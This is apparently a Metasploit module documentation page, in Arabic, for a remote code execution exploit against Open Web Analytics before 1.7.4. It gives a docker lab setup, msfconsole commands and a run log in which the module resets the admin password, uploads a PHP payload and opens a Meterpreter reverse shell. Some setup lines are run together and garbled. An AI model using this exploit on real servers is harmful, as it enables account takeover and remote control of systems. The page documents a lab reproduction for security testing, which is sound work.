
Open Web Analytics 1.7.3 - تنفيذ التعليمات البرمجية عن بُعد
يتيح Open Web Analytics (OWA) قبل الإصدار 1.7.4 لمهاجم عن بُعد غير مصادَق الحصول على معلومات حساسة عن المستخدمين، والتي يمكن استخدامها للحصول على صلاحيات المسؤول عبر استغلال تجزئات ذاكرة التخزين المؤقت. يحدث هذا لأن الملفات المُنشأة بـ '<?php (بدلاً من تسلسل "<?php المقصود) لا تتم معالجتها بواسطة مترجم PHP.
شغّل نسخة قابلة للاستغلال من OWA باستخدام docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> واحصل على IPAddress، على سبيل المثال 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#شغّل msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> يجب أن يكون عنوان IP الخاص بالجسر (bridge) الذي تم إنشاؤه بواسطة أمر docker compose up -d
check
run
عند استغلال الهدف، سيتم استبدال كلمة مرور المستخدم المُهاجَم بهذه الكلمة.
المستخدم الذي سيتم استهدافه بهذا الاستغلال.
يعمل الاستغلال عن طريق استرجاع قيمة temp_passkey من ملف تخزين مؤقت يتم إنشاؤه لكل مستخدم عند محاولة تسجيل الدخول به. وبما أن مجلد /owa-data/caches/ متاح للوصول العام، يمكننا استرجاع ملفات التخزين المؤقت هذه. يعتمد المسار الدقيق لملفات التخزين المؤقت على user_id ويمكن حسابه بناءً عليه. يحدد هذا الخيار عدد المسارات المحسوبة، بدءًا من 0، التي يجب فحصها بحثًا عن ملفات تخزين مؤقت تحتوي على قيمة temp_passkey.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >